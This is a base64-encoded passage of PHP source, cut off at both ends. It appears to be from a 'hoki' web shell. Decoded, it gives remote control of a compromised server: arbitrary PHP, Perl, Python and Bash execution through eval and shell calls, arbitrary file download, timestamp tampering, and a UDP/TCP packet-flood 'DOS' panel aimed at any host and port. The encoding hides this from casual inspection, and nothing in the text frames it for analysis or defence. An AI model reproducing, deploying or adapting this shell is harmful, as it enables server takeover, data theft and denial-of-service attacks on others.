O30KfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kaG9raTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydob2tpMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyx
cJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhpc3NldCgkX1BPU1RbJ2hva2kzJ10pJiYkX1BPU1RbJ2hva2kzJ10hPS
cnPyRfUE9TVFsnaG9raTMnXTokaG9raTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCAhZW1wdHkoJF9QT1NUWydob
2tpMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydob2tpMyddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCWhva2lFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BP
U1RbImMiXSkuIic7dG91Y2ggLWQgJyIuaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRfUE9TVFsnaG9raTMnXSkpLiInICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CgkkdG91Y2hlZCA9IHRydWU7Cn0KaWYoIUB0b3VjaCg
kX1BPU1RbJ2hva2kxJ10sJHRpbWUsJHRpbWUpJiYhJHRvdWNoZWQpCmVjaG8gJ0ZhaWwhJzsKZWxzZQplY2hvICdUb3VjaGVkISc7Cn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKfQpjbGVhcnN0YXRjYWNoZSgpOwplY2hvICc8c2NyaX
B0Pmhva2kzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2hva2kyJ10uJ1wnLHRoaXMudG91Y2gudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJ
yxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgKCRjaGRpcl9mYWxzPyRmaWxlX2luZm9bNF06
QGZpbGVtdGltZSgkX1BPU1RbJ2hva2kxJ10pKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ2ltYWdlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKZWNobygnPGhyPicpOwokZmlsZSA9ICRfUE9
TVFsnaG9raTEnXTsKJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsKaWYoaXNfYXJyYXkoJGltYWdlX2luZm8pfHwkY2hkaXJfZmFscyl7CiR3aWR0aCA9IChpbnQpJGltYWdlX2luZm9bMF07CiRoZWlnaHQgPSAoaW50KSRpbWFnZV
9pbmZvWzFdOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCSRzb3VyY2UgPSBob2tpRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOwoJbGlzdCgkd2lkdGgsICRoZWlnaHQpID0gZXhwbG9kZSgiOiIsI
Ghva2lFeCgiaWRlbnRpZnkgLWZvcm1hdCAnJXc6JWgnICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJG1pbWUgPSBleHBsb2RlKCI6IiwgaG9raUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJGlt
YWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOwp9ZWxzZXsKCSRzb3VyY2UgPSBfX1pXNWpiMlJsY2coX19yZWFkX2ZpbGUoJGZpbGUsIGZhbHNlKSk7Cn0KJGltYWdlX2luZm9faCA9ICJJbWFnZSB0eXBlID0gPHNwYW4+Wzwvc3Bhbj4gIi4kaW1
hZ2VfaW5mb1snbWltZSddLiIgPHNwYW4+XTwvc3Bhbj48YnI+SW1hZ2UgU2l6ZSA9IDxzcGFuPlsgPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuPiBdPC9zcGFuPjxicj4iOwppZigkd2lkdGggPiA4MDApeyR3aWR0aCA9IDgwMD
t9CmVjaG8gJGNvbnRlbnQgPSAiPGRpdiBjbGFzcz0nZWRpdG9yLXZpZXcnPjxkaXYgY2xhc3M9J3ZpZXctY29udGVudCc+PGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj48aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSdtYXgtd2lkdGg6MTAwJ
Ttib3JkZXI6MXB4IHNvbGlkIGdyZWVuOycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLiRzb3VyY2UuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPjwvZGl2PjwvZGl2Pjxicj4iOwp9CmJyZWFrOwp9CmVjaG8g
JzwvZGl2Pic7Cmhva2lGb290ZXIoKTsKfQpmdW5jdGlvbiBmaW5kaWNvbigkZmlsZSwkdHlwZSl7CiRzID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvJzsKJHR5cGVzID0gYXJyYXkoJ2pzb24nLCdwcHQnLCdwcHR4JywneGxzJywneGx
zeCcsJ21zaScsJ2NvbmZpZycsJ2NnaScsJ3BtJywnYycsJ2NwcCcsJ2NzJywnamF2YScsJ2FzcHgnLCdhc3AnLCdkYicsJ3R0ZicsJ2VvdCcsJ3dvZmYnLCd3b2ZmMicsJ3dvZmYnLCdjb25mJywnbG9nJywnYXBrJywnY2FiJywnYnoyJywndGd6Jy
wnZG1nJywnaXpvJywnamFyJywnN3onLCdpc28nLCdyYXInLCdiYXQnLCdzaCcsJ2hva2knLCdneicsJ3RhcicsJ3BocCcsJ3BocDQnLCdwaHA1JywncGh0bWwnLCdodG1sJywneGh0bWwnLCdzaHRtbCcsJ2h0bScsJ3ppcCcsJ3BuZycsJ2pwZycsJ
2pwZWcnLCdnaWYnLCdibXAnLCdpY28nLCd0eHQnLCdqcycsJ3JiJywncHknLCd4bWwnLCdjc3MnLCdzcWwnLCdodGFjY2VzcycsJ3BsJywnaW5pJywnZGxsJywnZXhlJywnbXAzJywnbXA0JywnbTRhJywnbW92JywnZmx2Jywnc3dmJywnbWt2Jywn
YXZpJywnd212JywnbXBnJywnbXBlZycsJ2RhdCcsJ3BkZicsJzNncCcsJ2RvYycsJ2RvY3gnLCdkb2NtJyk7CmlmKCR0eXBlIT0nZmlsZScpewpyZXR1cm4gKCRmaWxlPT0nLi4nPyRzLidiYWNrLnBuZyc6JHMuJ2ZvbGRlci5wbmcnKTsKfWVsc2V
7CiRleHQgPSBleHBsb2RlKCcuJywkZmlsZSk7CiRleHQgPSBlbmQoJGV4dCk7CiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwpyZXR1cm4gKGluX2FycmF5KCRleHQsJHR5cGVzKT8kcy4kZXh0LicucG5nJzokcy4nbm90Zm91bmQucG5nJyk7Cn0KfQ
pmdW5jdGlvbiBob2tpZGxmaWxlKCl7CmlmKGlzc2V0KCRfUE9TVFsnYyddLCRfUE9TVFsnZmlsZSddKSl7CiRiYXNlbmFtZSA9IHJhd3VybGRlY29kZShiYXNlbmFtZSgkX1BPU1RbJ2ZpbGUnXSkpOwokX1BPU1RbJ2ZpbGUnXSA9IHN0cl9yZXBsY
WNlKCIvLyIsICIvIiwgJF9QT1NUWydjJ10uJy8nLiRiYXNlbmFtZSk7CiRob2tpX2NhbnJ1bmNtZCA9IF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7CmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSAmJiBAaXNfcmVhZGFibGUoJF9Q
T1NUWydmaWxlJ10pIHx8ICRob2tpX2NhbnJ1bmNtZCl7Cm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYWRkc2xhc2hlcygkYmFzZW5hbWU
pLiJcIiIpOwpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewoJJHJhbmRuYW1lID0gJGJhc2VuYW1lLnJhbmQoMTExLDk5OTkpOwoJJHNjcmlwdH
BhdGggPSBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CgkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOwoJaWYoX2hva2lfaXNfd3JpdGFibGUoJHNjcmlwdHBhdGgpKXsKCQlob2tpRXgoImNwICciLmFkZ
HNsYXNoZXMoJF9QT1NUWyJmaWxlIl0pLiInICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOwoJCXJlYWRmaWxlKCRmaWxlcGF0aCk7CgkJQHVubGluaygkZmlsZXBhdGgpOwoJfWVsc2V7CgkJaG9raUV4KCJjYXQgJyIuYWRkc2xhc2hlcygk
X1BPU1RbImZpbGUiXSkuIiciKTsKCX0KfWVsc2V7CglyZWFkZmlsZSgkX1BPU1RbJ2ZpbGUnXSk7Cn0KfWVsc2UgZWNobygnRXJyb3IuLi4hJyk7fX0KZnVuY3Rpb24gX19ob2tpX3NldF9jb29raWUoJGtleSwgJHZhbHVlKXsKCSRfQ09PS0lFWyR
rZXldID0gJHZhbHVlOwoJQHNldGNvb2tpZSgka2V5LCAkdmFsdWUsIHRpbWUoKSsoODY0MDAgKiA3KSwgJy8nKTsKfQpmdW5jdGlvbiBob2tpcGhwZXZhbCgpewppZihpc3NldCgkX0NPT0tJRVsiZXZhbF90bXBkaXIiXSkmJkBpc19kaXIoJF9DT0
9LSUVbImV2YWxfdG1wZGlyIl0pKXsKCSR0ZW1wZGlyID0gX19aR1ZqYjJSbGNnKCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKTsKfWVsc2V7CgkkdGVtcGRpciA9IGRpcm5hbWUoaG9raUV4KCJta3RlbXAiKSk7CglfX2hva2lfc2V0X2Nvb2tpZSgiZ
XZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsKfQpob2tpaGVhZCgpOwppZihpc3NldCgkX1BPU1RbJ2hva2kyJ10pICYmICgkX1BPU1RbJ2hva2kyJ10gPT0gJ2luaScpKXsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jf
c3RhcnQoKTsKJElOST1pbmlfZ2V0X2FsbCgpOwpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicKLic8dGQgY2xhc3M9Imxpc3Rpbmc
iPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PG
ZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOwpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQpwcmludCAiXG4iLic8dHI+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+J
wouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2
YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwokdG1wID0gcHJ
lZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydob2tpMi
ddKSAmJiAoJF9QT1NUWydob2tpMiddID09ICdpbmZvJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7Cm9iX3N0YXJ0KCk7CnBocGluZm8oKTsKJHRtcCA9IG9iX2dldF9jbGVhbigpO
wokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7CiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7
JDF9JywkdG1wKTsKZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKfQppZihpc3NldCgkX1BPU1RbJ2hva2kyJ10pICYmICgkX1BPU1RbJ2hva2kyJ10gPT0gJ2V4dGVuJykpIHsKZWNobyAnPGRpdiBjbGF
zcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJEVYVD1nZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbG
Fzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CmVjaG8gJzwvZGl2Pjxicj4nOwp9CiRsYW5nX2h0bWwgPSAiIjsKZm9yZWFjaChhcnJheSgicGhwIj0+InBoc
CB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwg
Lj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImhva2kzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Q2VudGVyPjxhIGhyZWY9amF2YXNjcml
wdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKS
I+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnZXh0ZW5cJykiPiB8IGV4dGVuc2lvbnMgfDwvYT48L2NlbnRlcj48YnI+PGZvcm0gY2xhc3M9InBocC1ld
mFscyIgbmFtZT0icGYiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InZhciBhY2VfdmFsdWU9Z2VFdmFsQWNlVmFsdWUodGhpcyk7ZyhcJ3BocGV2YWxcJyxudWxsLGFjZV92YWx1ZSxudWxsLHRoaXMubGFuZ3VhZ2UudmFsdWUpOyByZXR1cm4gZmFs
c2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TZWxlY3QgTGFuZ3VhZ2U6IDwvZGl2PiA8c2VsZWN0IG5hbWU9Imxhbmd1YWdlIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4nLiRsYW5nX2h0bWwuJzwvc2VsZWN0PicuX2hva2lfbG9hZF9hY2Vfb3B0aW9
ucygiZXZhbCIpLic8YnI+PGJyPjxkaXYgY2xhc3M9ImJpZ2FyZWEiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxkaXYgY2xhc3M9InBocC1ldmFscy1hY2UiPicuKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF
9QT1NUWydob2tpMSddKToiJmx0Oz9waHBcblxuXHRlY2hvKCdoZWxsbyBob2tpICEnKTtcblxuPz4iKS4nPC9kaXY+PC9kaXY+PGNlbnRlcj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2Vud
GVyPic7CmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2hva2kxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsKaWYoIWVtcHR5KCRfUE9T
VFsnaG9raTEnXSkpewppZigkX1BPU1RbJ2hva2kzJ109PSJwaHAiKXsKb2Jfc3RhcnQoKTsKZXZhbCgnPz4nLiRfUE9TVFsnaG9raTEnXSk7CiRyZXN1bHQgPSBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfWVsc2VpZihfaG9raV9
jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7CgkkbGFuZyA9ICRfUE9TVFsnaG9raTMnXTsKCSRmaWxlbmFtZSA9ICJ0ZW1wIi5yYW5kKDExMTExLDk5OTk5KTsKCSR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZS
A7CglfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2hva2kxJ10pOwoJJHJlc3VsdCA9IGhva2lFeCgibXYgeyRmaWxlbmFtZX0geyR0ZW1wfTt7JGxhbmd9IHskdGVtcH07cm0gLWYgeyR0ZW1wfSIpOwoJQHVubGluaygkZmlsZW5hbWUpO
woJQHVubGluaygkdGVtcCk7Cn0KZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLiRyZXN1bHQuJzwvdGV4dGFyZWE+JzsKfQplY2hvICc8L3ByZT48L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWhhc2goKXsKaWYo
IWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5
jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KJHN0cmluZ1Rvb2xzID0gYXJyYXkoCidCYXNlNjRfZW5jb2RlICggJHN0cm
luZyApJyA9PiAnX19aVzVqYjJSbGNnKCRzKScsCidCYXNlNjRfZGVjb2RlICggJHN0cmluZyApJyA9PiAnX19aR1ZqYjJSbGNnKCRzKScsCidzdHJyZXYgKCAkc3RyaW5nICknID0+ICdzdHJyZXYoJHMpJywKJ2JpbjJoZXggKCAkc3RyaW5nICknP
T4gJ2JpbjJoZXgoJHMpJywKJ2hleDJiaW4gKCAkc3RyaW5nICknID0+ICdoZXgyYmluKCRzKScsCidtZDUgKCAkc3RyaW5nICknID0+ICdtZDUoJHMpJywKJ3NoYTEgKCAkc3RyaW5nICknID0+ICdzaGExKCRzKScsCidoYXNoICggInNoYTI1MSIs
ICRzdHJpbmcgKSAtLT4gc2hhMjUxJyA9PiAnaGFzaCgic2hhMjU2IiwkcyknLAonaGFzaCAoICJzaGEzODQiLCAkc3RyaW5nICkgLS0+IHNoYTM4NCcgPT4gJ2hhc2goInNoYTM4NCIsJHMpJywKJ2hhc2ggKCAic2hhNTEyIiwgJHN0cmluZyApIC0
tPiBzaGE1MTInID0+ICdoYXNoKCJzaGE1MTIiLCRzKScsCidjcnlwdCAoICRzdHJpbmcgKScgPT4gJ2NyeXB0KCRzKScsCidjcmMzMiAoICRzdHJpbmcgKScgPT4gJ2NyYzMyKCRzKScsCidzdHJfcm90MTMgKCAkc3RyaW5nICknID0+ICdzdHJfcm
90MTMoJHMpJywKJ3VybGVuY29kZSAoICRzdHJpbmcgKScgPT4gJ3VybGVuY29kZSgkcyknLAondXJsZGVjb2RlICAoICRzdHJpbmcgKScgPT4gJ3VybGRlY29kZSgkcyknLAonZnVsbF91cmxlbmNvZGUgICggJHN0cmluZyApJyA9PiAnZnVsbF91c
mxlbmNvZGUoJHMpJywKJ2h0bWxzcGVjaWFsY2hhcnMgICggJHN0cmluZyApJyA9PiAnaHRtbHNwZWNpYWxjaGFycygkcyknLAonYmFzZTY0X2VuY29kZSAoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpIC0tPiBFbmNvZGUnID0+ICdfX1pXNWpiMlJs
Y2coZ3pkZWZsYXRlKCRzLCA5KSknLAonZ3ppbmZsYXRlIChiYXNlNjRfZGVjb2RlKCAkc3RyaW5nICkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkcykpJywKJ3N0cl9yb3QxMyAoYmFzZTY0X2VuY29kZSggJHN0cml
uZyApKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZygkcykpJywKJ2Jhc2U2NF9kZWNvZGUgKHN0cl9yb3QxMyggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnX19aR1ZqYjJSbGNnKHN0cl9yb3QxMygkcykpJywKJ3N0cl
9yb3QxMyAoYmFzZTY0X2VuY29kZShnemRlZmxhdGUoICRzdHJpbmcgLCA5KSkpIC0tPiBFbmNvZGUnID0+ICdzdHJfcm90MTMoX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcyw5KSkpJywKJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZShzdHJfcm90M
TMoICRzdHJpbmcgKSkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKSknLAopOwpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwplY2hvICI8Zm9ybSBvblN1Ym1pdD0nZyhc
Imhhc2hcIixudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz48ZGl2IGNsYXNzPSd0eHRmb250Jz5NZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCcgc3R5bGU9J3dpZHR
oOjQwMHB4Oyc+IjsKZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCmVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIicgIi4oJF9QT1NUWydob2tpMSddPT0kdj8nc2VsZWN0ZWQnOicnKS4iPiIuJGsuIj
wvb3B0aW9uPiI7CmVjaG8gIjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcvPjxicj48dGV4dGFyZWEgIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdiaWdhcmVhJz4iLihlbXB0eSgkX1BPU
1RbJ2hva2kxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnaG9raTInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT4iOwppZighZW1wdHkoJF9QT1NUWydob2tpMSddKSl7CiRzdHJpbmcgPSBhZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSk7
CiRzdHJpbmcgPSBzdHJfcmVwbGFjZSgnXCInLCciJywkc3RyaW5nKTsKJGFsZyA9ICRfUE9TVFsnaG9raTEnXTsKJGNvZGUgPSBzdHJfcmVwbGFjZSgnJHMnLCInIi4kc3RyaW5nLiInIiwkYWxnKTsKb2Jfc3RhcnQoKTsKZXZhbCgnZWNobyAnLiR
jb2RlLic7Jyk7CiRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsKb2JfZW5kX2NsZWFuKCk7CmlmKGluX2FycmF5KCRhbGcsICRzdHJpbmdUb29scykpZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLmh0bWxzcGVjaWFsY2hhcnMoJHJlcy
kuJzwvdGV4dGFyZWE+JzsKfQplY2hvICI8L2Rpdj4iOwpob2tpRm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWRvcygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4d
GZvbnRfaGVhZGVyIj58IERPUyB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJnKFwnZG9zXCcsbnVsbCx0aGlzLmhvc3QudmFsdWUsdGhpcy50aW1lLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLm0udmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48
ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXRob2QgOiA8c2VsZWN0IG5hbWU9Im0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PG9wdGlvbiB2YWx1ZT0idWRwIj5VRFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0Y3AiPlRDUDwvb3B0aW9uPjwvc2VsZWN0PiB
Ib3N0IDogPGlucHV0IG5hbWU9Imhvc3QiIHR5cGU9InRleHQiIHZhbHVlPSJsb2NhbGhvc3QiIHNpemU9IjI1IiAvPiBUaW1lIDogPGlucHV0IG5hbWU9InRpbWUiIHR5cGU9InRleHQiIHNpemU9IjE1IiAvPiBQb3J0IDogPGlucHV0IG5hbWU9In
BvcnQiIHR5cGU9InRleHQiIHNpemU9IjEwIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pICYmICFlbXB0eSgkX1BPU1RbJ2hva
2kyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKZWNobyBfX3ByZSgpOwokcGFja2V0cz0wOwppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKJGV4ZWNfdGltZT0oaW50KSRfUE9TVFsnaG9raTInXTsKJHRpbWU9dGltZSgpOwokbWF4X3Rp
bWU9JGV4ZWNfdGltZSskdGltZTsKJGhvc3Q9JF9QT1NUWydob2tpMSddOwokcG9ydD0oaW50KSRfUE9TVFsnaG9raTMnXTsKJG1ldGhvZD0kX1BPU1RbJ2hva2k0J107CiRvdXQgPSBzdHJfcmVwZWF0KCdYJyw2NTAwMCk7CndoaWxlKDEpewokcGF
ja2V0cysrOwppZih0aW1lKCkgPiAkbWF4X3RpbWUpewpicmVhazsKfQokZnAgPSBAZnNvY2tvcGVuKCRtZXRob2QuJzovLycuJGhvc3QsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDUpOwppZigkZnApewpmd3JpdGUoJGZwLCAkb3V0KTsKZmNsb3
NlKCRmcCk7Cn0KfQplY2hvICI8Y2VudGVyPiRwYWNrZXRzICgiIC4gQHJvdW5kKCgkcGFja2V0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiBAcm91bmQoJHBhY2tldHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tld
